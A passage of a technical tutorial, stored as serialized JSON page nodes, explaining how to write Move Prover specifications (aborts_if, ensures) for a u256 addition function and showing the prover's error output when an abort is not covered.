0x10000000000000000",{"type":23,"tag":504,"props":11725,"children":11726},{"style":5058},[11727],{"type":29,"value":5061},{"type":23,"tag":504,"props":11729,"children":11730},{"class":5016,"line":4868},[11731],{"type":23,"tag":504,"props":11732,"children":11733},{"emptyLinePlaceholder":15},[11734],{"type":29,"value":5734},{"type":23,"tag":504,"props":11736,"children":11737},{"class":5016,"line":4876},[11738,11742,11746,11751,11755,11759,11763,11767,11771,11775,11780],{"type":23,"tag":504,"props":11739,"children":11740},{"style":5041},[11741],{"type":29,"value":10320},{"type":23,"tag":504,"props":11743,"children":11744},{"style":5041},[11745],{"type":29,"value":8252},{"type":23,"tag":504,"props":11747,"children":11748},{"style":5139},[11749],{"type":29,"value":11750}," value_of_U256",{"type":23,"tag":504,"props":11752,"children":11753},{"style":5058},[11754],{"type":29,"value":603},{"type":23,"tag":504,"props":11756,"children":11757},{"style":5041},[11758],{"type":29,"value":68},{"type":23,"tag":504,"props":11760,"children":11761},{"style":5047},[11762],{"type":29,"value":6533},{"type":23,"tag":504,"props":11764,"children":11765},{"style":5467},[11766],{"type":29,"value":6773},{"type":23,"tag":504,"props":11768,"children":11769},{"style":5058},[11770],{"type":29,"value":933},{"type":23,"tag":504,"props":11772,"children":11773},{"style":5047},[11774],{"type":29,"value":6533},{"type":23,"tag":504,"props":11776,"children":11777},{"style":5041},[11778],{"type":29,"value":11779}," num",{"type":23,"tag":504,"props":11781,"children":11782},{"style":5058},[11783],{"type":29,"value":5333},{"type":23,"tag":504,"props":11785,"children":11786},{"class":5016,"line":5099},[11787,11792,11796,11801],{"type":23,"tag":504,"props":11788,"children":11789},{"style":5041},[11790],{"type":29,"value":11791},"    a",{"type":23,"tag":504,"props":11793,"children":11794},{"style":5047},[11795],{"type":29,"value":357},{"type":23,"tag":504,"props":11797,"children":11798},{"style":5058},[11799],{"type":29,"value":11800},"v0 ",{"type":23,"tag":504,"props":11802,"children":11803},{"style":5047},[11804],{"type":29,"value":11805},"+\n",{"type":23,"tag":504,"props":11807,"children":11808},{"class":5016,"line":5203},[11809,11813,11817,11822,11826,11830],{"type":23,"tag":504,"props":11810,"children":11811},{"style":5041},[11812],{"type":29,"value":11791},{"type":23,"tag":504,"props":11814,"children":11815},{"style":5047},[11816],{"type":29,"value":357},{"type":23,"tag":504,"props":11818,"children":11819},{"style":5058},[11820],{"type":29,"value":11821},"v1 ",{"type":23,"tag":504,"props":11823,"children":11824},{"style":5047},[11825],{"type":29,"value":6613},{"type":23,"tag":504,"props":11827,"children":11828},{"style":5467},[11829],{"type":29,"value":11706},{"type":23,"tag":504,"props":11831,"children":11832},{"style":5047},[11833],{"type":29,"value":11834}," +\n",{"type":23,"tag":504,"props":11836,"children":11837},{"class":5016,"line":5308},[11838,11842,11846,11851,11855,11859,11864,11868],{"type":23,"tag":504,"props":11839,"children":11840},{"style":5041},[11841],{"type":29,"value":11791},{"type":23,"tag":504,"props":11843,"children":11844},{"style":5047},[11845],{"type":29,"value":357},{"type":23,"tag":504,"props":11847,"children":11848},{"style":5058},[11849],{"type":29,"value":11850},"v2 ",{"type":23,"tag":504,"props":11852,"children":11853},{"style":5047},[11854],{"type":29,"value":6613},{"type":23,"tag":504,"props":11856,"children":11857},{"style":5467},[11858],{"type":29,"value":11706},{"type":23,"tag":504,"props":11860,"children":11861},{"style":5047},[11862],{"type":29,"value":11863}," *",{"type":23,"tag":504,"props":11865,"children":11866},{"style":5467},[11867],{"type":29,"value":11706},{"type":23,"tag":504,"props":11869,"children":11870},{"style":5047},[11871],{"type":29,"value":11834},{"type":23,"tag":504,"props":11873,"children":11874},{"class":5016,"line":5336},[11875,11879,11883,11888,11892,11896,11900,11904,11908],{"type":23,"tag":504,"props":11876,"children":11877},{"style":5041},[11878],{"type":29,"value":11791},{"type":23,"tag":504,"props":11880,"children":11881},{"style":5047},[11882],{"type":29,"value":357},{"type":23,"tag":504,"props":11884,"children":11885},{"style":5058},[11886],{"type":29,"value":11887},"v3 ",{"type":23,"tag":504,"props":11889,"children":11890},{"style":5047},[11891],{"type":29,"value":6613},{"type":23,"tag":504,"props":11893,"children":11894},{"style":5467},[11895],{"type":29,"value":11706},{"type":23,"tag":504,"props":11897,"children":11898},{"style":5047},[11899],{"type":29,"value":11863},{"type":23,"tag":504,"props":11901,"children":11902},{"style":5467},[11903],{"type":29,"value":11706},{"type":23,"tag":504,"props":11905,"children":11906},{"style":5047},[11907],{"type":29,"value":11863},{"type":23,"tag":504,"props":11909,"children":11910},{"style":5467},[11911],{"type":29,"value":11912}," P64\n",{"type":23,"tag":504,"props":11914,"children":11915},{"class":5016,"line":5349},[11916],{"type":23,"tag":504,"props":11917,"children":11918},{"style":5058},[11919],{"type":29,"value":5965},{"type":23,"tag":504,"props":11921,"children":11922},{"class":5016,"line":5367},[11923],{"type":23,"tag":504,"props":11924,"children":11925},{"emptyLinePlaceholder":15},[11926],{"type":29,"value":5734},{"type":23,"tag":504,"props":11928,"children":11929},{"class":5016,"line":5388},[11930,11934,11938],{"type":23,"tag":504,"props":11931,"children":11932},{"style":5041},[11933],{"type":29,"value":10320},{"type":23,"tag":504,"props":11935,"children":11936},{"style":5041},[11937],{"type":29,"value":11628},{"type":23,"tag":504,"props":11939,"children":11940},{"style":5058},[11941],{"type":29,"value":5333},{"type":23,"tag":504,"props":11943,"children":11944},{"class":5016,"line":5397},[11945,11950,11954,11958,11962,11966,11970,11974,11978,11982,11986,11990,11994,11998,12002,12006,12010,12014,12018],{"type":23,"tag":504,"props":11946,"children":11947},{"style":5041},[11948],{"type":29,"value":11949},"    aborts_if",{"type":23,"tag":504,"props":11951,"children":11952},{"style":5139},[11953],{"type":29,"value":11750},{"type":23,"tag":504,"props":11955,"children":11956},{"style":5058},[11957],{"type":29,"value":603},{"type":23,"tag":504,"props":11959,"children":11960},{"style":5041},[11961],{"type":29,"value":68},{"type":23,"tag":504,"props":11963,"children":11964},{"style":5058},[11965],{"type":29,"value":5128},{"type":23,"tag":504,"props":11967,"children":11968},{"style":5047},[11969],{"type":29,"value":6422},{"type":23,"tag":504,"props":11971,"children":11972},{"style":5139},[11973],{"type":29,"value":11750},{"type":23,"tag":504,"props":11975,"children":11976},{"style":5058},[11977],{"type":29,"value":603},{"type":23,"tag":504,"props":11979,"children":11980},{"style":5041},[11981],{"type":29,"value":3003},{"type":23,"tag":504,"props":11983,"children":11984},{"style":5058},[11985],{"type":29,"value":5128},{"type":23,"tag":504,"props":11987,"children":11988},{"style":5047},[11989],{"type":29,"value":1678},{"type":23,"tag":504,"props":11991,"children":11992},{"style":5467},[11993],{"type":29,"value":11706},{"type":23,"tag":504,"props":11995,"children":11996},{"style":5047},[11997],{"type":29,"value":11863},{"type":23,"tag":504,"props":11999,"children":12000},{"style":5467},[12001],{"type":29,"value":11706},{"type":23,"tag":504,"props":12003,"children":12004},{"style":5047},[12005],{"type":29,"value":11863},{"type":23,"tag":504,"props":12007,"children":12008},{"style":5467},[12009],{"type":29,"value":11706},{"type":23,"tag":504,"props":12011,"children":12012},{"style":5047},[12013],{"type":29,"value":11863},{"type":23,"tag":504,"props":12015,"children":12016},{"style":5467},[12017],{"type":29,"value":11706},{"type":23,"tag":504,"props":12019,"children":12020},{"style":5058},[12021],{"type":29,"value":5061},{"type":23,"tag":504,"props":12023,"children":12024},{"class":5016,"line":5649},[12025],{"type":23,"tag":504,"props":12026,"children":12027},{"style":5058},[12028],{"type":29,"value":5965},{"type":23,"tag":32,"props":12030,"children":12031},{},[12032,12034,12041],{"type":29,"value":12033},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":68,"props":12035,"children":12038},{"href":12036,"rel":12037},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[72],[12039],{"type":29,"value":12040},"MSL function",{"type":29,"value":12042},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":32,"props":12044,"children":12045},{},[12046,12048,12053,12054,12059],{"type":29,"value":12047},"A common pattern for ",{"type":23,"tag":154,"props":12049,"children":12051},{"className":12050},[],[12052],{"type":29,"value":10370},{"type":29,"value":7546},{"type":23,"tag":154,"props":12055,"children":12057},{"className":12056},[],[12058],{"type":29,"value":10378},{"type":29,"value":12060},", which lets you prove that a function will never abort.",{"type":23,"tag":4743,"props":12062,"children":12064},{"code":12063,"language":5008,"meta":7,"className":5009,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[12065],{"type":23,"tag":154,"props":12066,"children":12067},{"__ignoreMap":7},[12068,12084,12099],{"type":23,"tag":504,"props":12069,"children":12070},{"class":5016,"line":5017},[12071,12075,12080],{"type":23,"tag":504,"props":12072,"children":12073},{"style":5041},[12074],{"type":29,"value":10320},{"type":23,"tag":504,"props":12076,"children":12077},{"style":5041},[12078],{"type":29,"value":12079}," critical_function",{"type":23,"tag":504,"props":12081,"children":12082},{"style":5058},[12083],{"type":29,"value":5333},{"type":23,"tag":504,"props":12085,"children":12086},{"class":5016,"line":4868},[12087,12091,12095],{"type":23,"tag":504,"props":12088,"children":12089},{"style":5041},[12090],{"type":29,"value":11949},{"type":23,"tag":504,"props":12092,"children":12093},{"style":5030},[12094],{"type":29,"value":11104},{"type":23,"tag":504,"props":12096,"children":12097},{"style":5058},[12098],{"type":29,"value":5061},{"type":23,"tag":504,"props":12100,"children":12101},{"class":5016,"line":4876},[12102],{"type":23,"tag":504,"props":12103,"children":12104},{"style":5058},[12105],{"type":29,"value":5965},{"type":23,"tag":32,"props":12107,"children":12108},{},[12109,12111,12117],{"type":29,"value":12110},"Another type of expression that we can use is ",{"type":23,"tag":154,"props":12112,"children":12114},{"className":12113},[],[12115],{"type":29,"value":12116},"ensures",{"type":29,"value":12118},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":32,"props":12120,"children":12121},{},[12122,12124,12129,12131,12136],{"type":29,"value":12123},"In the case of the ",{"type":23,"tag":154,"props":12125,"children":12127},{"className":12126},[],[12128],{"type":29,"value":11684},{"type":29,"value":12130}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":38,"props":12132,"children":12133},{},[12134],{"type":29,"value":12135},"MSL uses unbounded numbers",{"type":29,"value":12137},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":4743,"props":12139,"children":12141},{"code":12140,"language":5008,"meta":7,"className":5009,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[12142],{"type":23,"tag":154,"props":12143,"children":12144},{"__ignoreMap":7},[12145,12160,12239,12303],{"type":23,"tag":504,"props":12146,"children":12147},{"class":5016,"line":5017},[12148,12152,12156],{"type":23,"tag":504,"props":12149,"children":12150},{"style":5041},[12151],{"type":29,"value":10320},{"type":23,"tag":504,"props":12153,"children":12154},{"style":5041},[12155],{"type":29,"value":11628},{"type":23,"tag":504,"props":12157,"children":12158},{"style":5058},[12159],{"type":29,"value":5333},{"type":23,"tag":504,"props":12161,"children":12162},{"class":5016,"line":4868},[12163,12167,12171,12175,12179,12183,12187,12191,12195,12199,12203,12207,12211,12215,12219,12223,12227,12231,12235],{"type":23,"tag":504,"props":12164,"children":12165},{"style":5041},[12166],{"type":29,"value":11949},{"type":23,"tag":504,"props":12168,"children":12169},{"style":5139},[12170],{"type":29,"value":11750},{"type":23,"tag":504,"props":12172,"children":12173},{"style":5058},[12174],{"type":29,"value":603},{"type":23,"tag":504,"props":12176,"children":12177},{"style":5041},[12178],{"type":29,"value":68},{"type":23,"tag":504,"props":12180,"children":12181},{"style":5058},[12182],{"type":29,"value":5128},{"type":23,"tag":504,"props":12184,"children":12185},{"style":5047},[12186],{"type":29,"value":6422},{"type":23,"tag":504,"props":12188,"children":12189},{"style":5139},[12190],{"type":29,"value":11750},{"type":23,"tag":504,"props":12192,"children":12193},{"style":5058},[12194],{"type":29,"value":603},{"type":23,"tag":504,"props":12196,"children":12197},{"style":5041},[12198],{"type":29,"value":3003},{"type":23,"tag":504,"props":12200,"children":12201},{"style":5058},[12202],{"type":29,"value":5128},{"type":23,"tag":504,"props":12204,"children":12205},{"style":5047},[12206],{"type":29,"value":1678},{"type":23,"tag":504,"props":12208,"children":12209},{"style":5467},[12210],{"type":29,"value":11706},{"type":23,"tag":504,"props":12212,"children":12213},{"style":5047},[12214],{"type":29,"value":11863},{"type":23,"tag":504,"props":12216,"children":12217},{"style":5467},[12218],{"type":29,"value":11706},{"type":23,"tag":504,"props":12220,"children":12221},{"style":5047},[12222],{"type":29,"value":11863},{"type":23,"tag":504,"props":12224,"children":12225},{"style":5467},[12226],{"type":29,"value":11706},{"type":23,"tag":504,"props":12228,"children":12229},{"style":5047},[12230],{"type":29,"value":11863},{"type":23,"tag":504,"props":12232,"children":12233},{"style":5467},[12234],{"type":29,"value":11706},{"type":23,"tag":504,"props":12236,"children":12237},{"style":5058},[12238],{"type":29,"value":5061},{"type":23,"tag":504,"props":12240,"children":12241},{"class":5016,"line":4876},[12242,12247,12251,12255,12259,12263,12267,12271,12275,12279,12283,12287,12291,12295,12299],{"type":23,"tag":504,"props":12243,"children":12244},{"style":5041},[12245],{"type":29,"value":12246},"    ensures",{"type":23,"tag":504,"props":12248,"children":12249},{"style":5139},[12250],{"type":29,"value":11750},{"type":23,"tag":504,"props":12252,"children":12253},{"style":5058},[12254],{"type":29,"value":603},{"type":23,"tag":504,"props":12256,"children":12257},{"style":5041},[12258],{"type":29,"value":11129},{"type":23,"tag":504,"props":12260,"children":12261},{"style":5058},[12262],{"type":29,"value":5128},{"type":23,"tag":504,"props":12264,"children":12265},{"style":5047},[12266],{"type":29,"value":1224},{"type":23,"tag":504,"props":12268,"children":12269},{"style":5139},[12270],{"type":29,"value":11750},{"type":23,"tag":504,"props":12272,"children":12273},{"style":5058},[12274],{"type":29,"value":603},{"type":23,"tag":504,"props":12276,"children":12277},{"style":5041},[12278],{"type":29,"value":68},{"type":23,"tag":504,"props":12280,"children":12281},{"style":5058},[12282],{"type":29,"value":5128},{"type":23,"tag":504,"props":12284,"children":12285},{"style":5047},[12286],{"type":29,"value":6422},{"type":23,"tag":504,"props":12288,"children":12289},{"style":5139},[12290],{"type":29,"value":11750},{"type":23,"tag":504,"props":12292,"children":12293},{"style":5058},[12294],{"type":29,"value":603},{"type":23,"tag":504,"props":12296,"children":12297},{"style":5041},[12298],{"type":29,"value":3003},{"type":23,"tag":504,"props":12300,"children":12301},{"style":5058},[12302],{"type":29,"value":5888},{"type":23,"tag":504,"props":12304,"children":12305},{"class":5016,"line":5099},[12306],{"type":23,"tag":504,"props":12307,"children":12308},{"style":5058},[12309],{"type":29,"value":5965},{"type":23,"tag":32,"props":12311,"children":12312},{},[12313],{"type":29,"value":12314},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":32,"props":12316,"children":12317},{},[12318],{"type":29,"value":12319},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":4743,"props":12321,"children":12323},{"code":12322,"language":6282,"meta":7,"className":6283,"style":7},"$ move prove\n",[12324],{"type":23,"tag":154,"props":12325,"children":12326},{"__ignoreMap":7},[12327],{"type":23,"tag":504,"props":12328,"children":12329},{"class":5016,"line":5017},[12330,12335,12340],{"type":23,"tag":504,"props":12331,"children":12332},{"style":5139},[12333],{"type":29,"value":12334},"$",{"type":23,"tag":504,"props":12336,"children":12337},{"style":6297},[12338],{"type":29,"value":12339}," move",{"type":23,"tag":504,"props":12341,"children":12342},{"style":6297},[12343],{"type":29,"value":12344}," prove\n",{"type":23,"tag":32,"props":12346,"children":12347},{},[12348],{"type":29,"value":12349},"It outputs the following error information:",{"type":23,"tag":4743,"props":12351,"children":12353},{"code":12352,"language":6282,"meta":7,"className":6283,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[12354],{"type":23,"tag":154,"props":12355,"children":12356},{"__ignoreMap":7},[12357,12365,12372,12434,12455,12545,12613,12625,12633,12640,12647,12654,12672,12732,12749,12766,12838,12854,12862,12869,12919,12927,12944],{"type":23,"tag":504,"props":12358,"children":12359},{"class":5016,"line":5017},[12360],{"type":23,"tag":504,"props":12361,"children":12362},{"style":5058},[12363],{"type":29,"value":12364},"[...]\n",{"type":23,"tag":504,"props":12366,"children":12367},{"class":5016,"line":4868},[12368],{"type":23,"tag":504,"props":12369,"children":12370},{"emptyLinePlaceholder":15},[12371],{"type":29,"value":5734},{"type":23,"tag":504,"props":12373,"children":12374},{"class":5016,"line":4876},[12375,12380,12385,12390,12395,12400,12405,12410,12415,12420,12424,12429],{"type":23,"tag":504,"props":12376,"children":12377},{"style":5139},[12378],{"type":29,"value":12379},"error:",{"type":23,"tag":504,"props":12381,"children":12382},{"style":6297},[12383],{"type":29,"value":12384}," abort",{"type":23,"tag":504,"props":12386,"children":12387},{"style":6297},[12388],{"type":29,"value":12389}," not",{"type":23,"tag":504,"props":12391,"children":12392},{"style":6297},[12393],{"type":29,"value":12394}," covered",{"type":23,"tag":504,"props":12396,"children":12397},{"style":6297},[12398],{"type":29,"value":12399}," by",{"type":23,"tag":504,"props":12401,"children":12402},{"style":6297},[12403],{"type":29,"value":12404}," any",{"type":23,"tag":504,"props":12406,"children":12407},{"style":6297},[12408],{"type":29,"value":12409}," of",{"type":23,"tag":504,"props":12411,"children":12412},{"style":6297},[12413],{"type":29,"value":12414}," the",{"type":23,"tag":504,"props":12416,"children":12417},{"style":6297},[12418],{"type":29,"value":12419}," `",{"type":23,"tag":504,"props":12421,"children":12422},{"style":5139},[12423],{"type":29,"value":10370},{"type":23,"tag":504,"props":12425,"children":12426},{"style":6297},[12427],{"type":29,"value":12428},"`",{"type":23,"tag":504,"props":12430,"children":12431},{"style":5139},[12432],{"type":29,"value":12433}," clauses\n",{"type":23,"tag":504,"props":12435,"children":12436},{"class":5016,"line":5099},[12437,12442,12447,12451],{"type":23,"tag":504,"props":12438,"children":12439},{"style":5139},[12440],{"type":29,"value":12441},"╭",{"type":23,"tag":504,"props":12443,"children":12444},{"style":6297},[12445],{"type":29,"value":12446},"     spec",{"type":23,"tag":504,"props":12448,"children":12449},{"style":6297},[12450],{"type":29,"value":11628},{"type":23,"tag":504,"props":12452,"children":12453},{"style":6297},[12454],{"type":29,"value":5333},{"type":23,"tag":504,"props":12456,"children":12457},{"class":5016,"line":5203},[12458,12463,12468,12472,12476,12480,12484,12488,12492,12496,12500,12504,12509,12513,12517,12521,12525,12529,12533,12537,12541],{"type":23,"tag":504,"props":12459,"children":12460},{"style":5047},[12461],{"type":29,"value":12462},"|",{"type":23,"tag":504,"props":12464,"children":12465},{"style":5139},[12466],{"type":29,"value":12467},"         aborts_if",{"type":23,"tag":504,"props":12469,"children":12470},{"style":6297},[12471],{"type":29,"value":11750},{"type":23,"tag":504,"props":12473,"children":12474},{"style":5058},[12475],{"type":29,"value":603},{"type":23,"tag":504,"props":12477,"children":12478},{"style":5139},[12479],{"type":29,"value":68},{"type":23,"tag":504,"props":12481,"children":12482},{"style":5058},[12483],{"type":29,"value":5128},{"type":23,"tag":504,"props":12485,"children":12486},{"style":6297},[12487],{"type":29,"value":6422},{"type":23,"tag":504,"props":12489,"children":12490},{"style":6297},[12491],{"type":29,"value":11750},{"type":23,"tag":504,"props":12493,"children":12494},{"style":5058},[12495],{"type":29,"value":603},{"type":23,"tag":504,"props":12497,"children":12498},{"style":5139},[12499],{"type":29,"value":3003},{"type":23,"tag":504,"props":12501,"children":12502},{"style":5058},[12503],{"type":29,"value":5128},{"type":23,"tag":504,"props":12505,"children":12506},{"style":5047},[12507],{"type":29,"value":12508},">",{"type":23,"tag":504,"props":12510,"children":12511},{"style":6297},[12512],{"type":29,"value":546},{"type":23,"tag":504,"props":12514,"children":12515},{"style":6297},[12516],{"type":29,"value":11706},{"type":23,"tag":504,"props":12518,"children":12519},{"style":5030},[12520],{"type":29,"value":11863},{"type":23,"tag":504,"props":12522,"children":12523},{"style":6297},[12524],{"type":29,"value":11706},{"type":23,"tag":504,"props":12526,"children":12527},{"style":5030},[12528],{"type":29,"value":11863},{"type":23,"tag":504,"props":12530,"children":12531},{"style":6297},[12532],{"type":29,"value":11706},{"type":23,"tag":504,"props":12534,"children":12535},{"style":5030},[12536],{"type":29,"value":11863},{"type":23,"tag":504,"props":12538,"children":12539},{"style":6297},[12540],{"type":29,"value":11706},{"type":23,"tag":504,"props":12542,"children":12543},{"style":5058},[12544],{"type":29,"value":5061},{"type":23,"tag":504,"props":12546,"children":12547},{"class":5016,"line":5308},[12548,12552,12557,12561,12565,12569,12573,12577,12581,12585,12589,12593,12597,12601,12605,12609],{"type":23,"tag":504,"props":12549,"children":12550},{"style":5047},[12551],{"type":29,"value":12462},{"type":23,"tag":504,"props":12553,"children":12554},{"style":5139},[12555],{"type":29,"value":12556},"         ensures",{"type":23,"tag":504,"props":12558,"children":12559},{"style":6297},[12560],{"type":29,"value":11750},{"type":23,"tag":504,"props":12562,"children":12563},{"style":5058},[12564],{"type":29,"value":603},{"type":23,"tag":504,"props":12566,"children":12567},{"style":5139},[12568],{"type":29,"value":11129},{"type":23,"tag":504,"props":12570,"children":12571},{"style":5058},[12572],{"type":29,"value":5128},{"type":23,"tag":504,"props":12574,"children":12575},{"style":6297},[12576],{"type":29,"value":1224},{"type":23,"tag":504,"props":12578,"children":12579},{"style":6297},[12580],{"type":29,"value":11750},{"type":23,"tag":504,"props":12582,"children":12583},{"style":5058},[12584],{"type":29,"value":603},{"type":23,"tag":504,"props":12586,"children":12587},{"style":5139},[12588],{"type":29,"value":68},{"type":23,"tag":504,"props":12590,"children":12591},{"style":5058},[12592],{"type":29,"value":5128},{"type":23,"tag":504,"props":12594,"children":12595},{"style":6297},[12596],{"type":29,"value":6422},{"type":23,"tag":504,"props":12598,"children":12599},{"style":6297},[12600],{"type":29,"value":11750},{"type":23,"tag":504,"props":12602,"children":12603},{"style":5058},[12604],{"type":29,"value":603},{"type":23,"tag":504,"props":12606,"children":12607},{"style":5139},[12608],{"type":29,"value":3003},{"type":23,"tag":504,"props":12610,"children":12611},{"style":5058},[12612],{"type":29,"value":5888},{"type":23,"tag":504,"props":12614,"children":12615},{"class":5016,"line":5336},[12616,12620],{"type":23,"tag":504,"props":12617,"children":12618},{"style":5047},[12619],{"type":29,"value":12462},{"type":23,"tag":504,"props":12621,"children":12622},{"style":5058},[12623],{"type":29,"value":12624},"     }\n",{"type":23,"tag":504,"props":12626,"children":12627},{"class":5016,"line":5349},[12628],{"type":23,"tag":504,"props":12629,"children":12630},{"style":5139},[12631],{"type":29,"value":12632},"╰─────^\n",{"type":23,"tag":504,"props":12634,"children":12635},{"class":5016,"line":5367},[12636],{"type":23,"tag":504,"props":12637,"children":12638},{"emptyLinePlaceholder":15},[12639],{"type":29,"value":5734},{"type":23,"tag":504,"props":12641,"children":12642},{"class":5016,"line":5388},[12643],{"type":23,"tag":504,"props":12644,"children":12645},{"style":5058},[12646],{"type":29,"value":12364},{"type":23,"tag":504,"props":12648,"children":12649},{"class":5016,"line":5397},[12650],{"type":23,"tag":504,"props":12651,"children":12652},{"emptyLinePlaceholder":15},[12653],{"type":29,"value":5734},{"type":23,"tag":504,"props":12655,"children":12656},{"class":5016,"line":5649},[12657,12662,12667],{"type":23,"tag":504,"props":12658,"children":12659},{"style":5139},[12660],{"type":29,"value":12661}," at",{"type":23,"tag":504,"props":12663,"children":12664},{"style":6297},[12665],{"type":29,"value":12666}," ./sources/u256.move:316:",{"type":23,"tag":504,"props":12668,"children":12669},{"style":6297},[12670],{"type":29,"value":12671}," add\n",{"type":23,"tag":504,"props":12673,"children":12674},{"class":5016,"line":5666},[12675,12680,12685,12690,12694,12698,12702,12707,12712,12717,12722,12727],{"type":23,"tag":504,"props":12676,"children":12677},{"style":5139},[12678],{"type":29,"value":12679}," enter",{"type":23,"tag":504,"props":12681,"children":12682},{"style":6297},[12683],{"type":29,"value":12684}," loop,",{"type":23,"tag":504,"props":12686,"children":12687},{"style":6297},[12688],{"type":29,"value":12689}," variable",{"type":23,"tag":504,"props":12691,"children":12692},{"style":5058},[12693],{"type":29,"value":603},{"type":23,"tag":504,"props":12695,"children":12696},{"style":5139},[12697],{"type":29,"value":662},{"type":23,"tag":504,"props":12699,"children":12700},{"style":5058},[12701],{"type":29,"value":5128},{"type":23,"tag":504,"props":12703,"children":12704},{"style":6297},[12705],{"type":29,"value":12706},"carry,",{"type":23,"tag":504,"props":12708,"children":12709},{"style":6297},[12710],{"type":29,"value":12711}," i,",{"type":23,"tag":504,"props":12713,"children":12714},{"style":6297},[12715],{"type":29,"value":12716}," ret",{"type":23,"tag":504,"props":12718,"children":12719},{"style":6297},[12720],{"type":29,"value":12721}," havocked",{"type":23,"tag":504,"props":12723,"children":12724},{"style":6297},[12725],{"type":29,"value":12726}," and",{"type":23,"tag":504,"props":12728,"children":12729},{"style":6297},[12730],{"type":29,"value":12731}," reassigned\n",{"type":23,"tag":504,"props":12733,"children":12734},{"class":5016,"line":5683},[12735,12740,12744],{"type":23,"tag":504,"props":12736,"children":12737},{"style":5139},[12738],{"type":29,"value":12739},"     carry",{"type":23,"tag":504,"props":12741,"children":12742},{"style":6297},[12743],{"type":29,"value":5050},{"type":23,"tag":504,"props":12745,"children":12746},{"style":5083},[12747],{"type":29,"value":12748}," 54\n",{"type":23,"tag":504,"props":12750,"children":12751},{"class":5016,"line":5696},[12752,12757,12761],{"type":23,"tag":504,"props":12753,"children":12754},{"style":5139},[12755],{"type":29,"value":12756},"     i",{"type":23,"tag":504,"props":12758,"children":12759},{"style":6297},[12760],{"type":29,"value":5050},{"type":23,"tag":504,"props":12762,"children":12763},{"style":5083},[12764],{"type":29,"value":12765}," 3792\n",{"type":23,"tag":504,"props":12767,"children":12768},{"class":5016,"line":5705},[12769,12774,12778,12783,12787,12792,12797,12801,12806,12811,12815,12820,12825,12829,12834],{"type":23,"tag":504,"props":12770,"children":12771},{"style":5139},[12772],{"type":29,"value":12773},"     ret",{"type":23,"tag":504,"props":12775,"children":12776},{"style":6297},[12777],{"type":29,"value":5050},{"type":23,"tag":504,"props":12779,"children":12780},{"style":6297},[12781],{"type":29,"value":12782}," u256.U256{v0",{"type":23,"tag":504,"props":12784,"children":12785},{"style":6297},[12786],{"type":29,"value":5050},{"type":23,"tag":504,"props":12788,"children":12789},{"style":6297},[12790],{"type":29,"value":12791}," 26418,",{"type":23,"tag":504,"props":12793,"children":12794},{"style":6297},[12795],{"type":29,"value":12796}," v1",{"type":23,"tag":504,"props":12798,"children":12799},{"style":6297},[12800],{"type":29,"value":5050},{"type":23,"tag":504,"props":12802,"children":12803},{"style":6297},[12804],{"type":29,"value":12805}," 27938,",{"type":23,"tag":504,"props":12807,"children":12808},{"style":6297},[12809],{"type":29,"value":12810}," v2",{"type":23,"tag":504,"props":12812,"children":12813},{"style":6297},[12814],{"type":29,"value":5050},{"type":23,"tag":504,"props":12816,"children":12817},{"style":6297},[12818],{"type":29,"value":12819}," 6900,",{"type":23,"tag":504,"props":12821,"children":12822},{"style":6297},[12823],{"type":29,"value":12824}," v3",{"type":23,"tag":504,"props":12826,"children":12827},{"style":6297},[12828],{"type":29,"value":5050},{"type":23,"tag":504,"props":12830,"children":12831},{"style":5083},[12832],{"type":29,"value":12833}," 1999",{"type":23,"tag":504,"props":12835,"children":12836},{"style":6297},[12837],{"type":29,"value":5965},{"type":23,"tag":504,"props":12839,"children":12840},{"class":5016,"line":5728},[12841,12845,12850],{"type":23,"tag":504,"props":12842,"children":12843},{"style":5139},[12844],{"type":29,"value":12661},{"type":23,"tag":504,"props":12846,"children":12847},{"style":6297},[12848],{"type":29,"value":12849}," ./sources/u256.move:346:",{"type":23,"tag":504,"props":12851,"children":12852},{"style":6297},[12853],{"type":29,"value":12671},{"type":23,"tag":504,"props":12855,"children":12856},{"class":5016,"line":5737},[12857],{"type":23,"tag":504,"props":12858,"children":12859},{"style":5139},[12860],{"type":29,"value":12861},"     ABORTED\n",{"type":23,"tag":504,"props":12863,"children":12864},{"class":5016,"line":5746},[12865],{"type":23,"tag":504,"props":12866,"children":12867},{"emptyLinePlaceholder":15},[12868],{"type":29,"value":5734},{"type":23,"tag":504,"props":12870,"children":12871},{"class":5016,"line":5813},[12872,12877,12882,12886,12891,12896,12901,12905,12910,12914],{"type":23,"tag":504,"props":12873,"children":12874},{"style":5139},[12875],{"type":29,"value":12876},"FAILURE",{"type":23,"tag":504,"props":12878,"children":12879},{"style":6297},[12880],{"type":29,"value":12881}," proving",{"type":23,"tag":504,"props":12883,"children":12884},{"style":5083},[12885],{"type":29,"value":6565},{"type":23,"tag":504,"props":12887,"children":12888},{"style":6297},[12889],{"type":29,"value":12890}," modules",{"type":23,"tag":504,"props":12892,"children":12893},{"style":6297},[12894],{"type":29,"value":12895}," from",{"type":23,"tag":504,"props":12897,"children":12898},{"style":6297},[12899],{"type":29,"value":12900}," 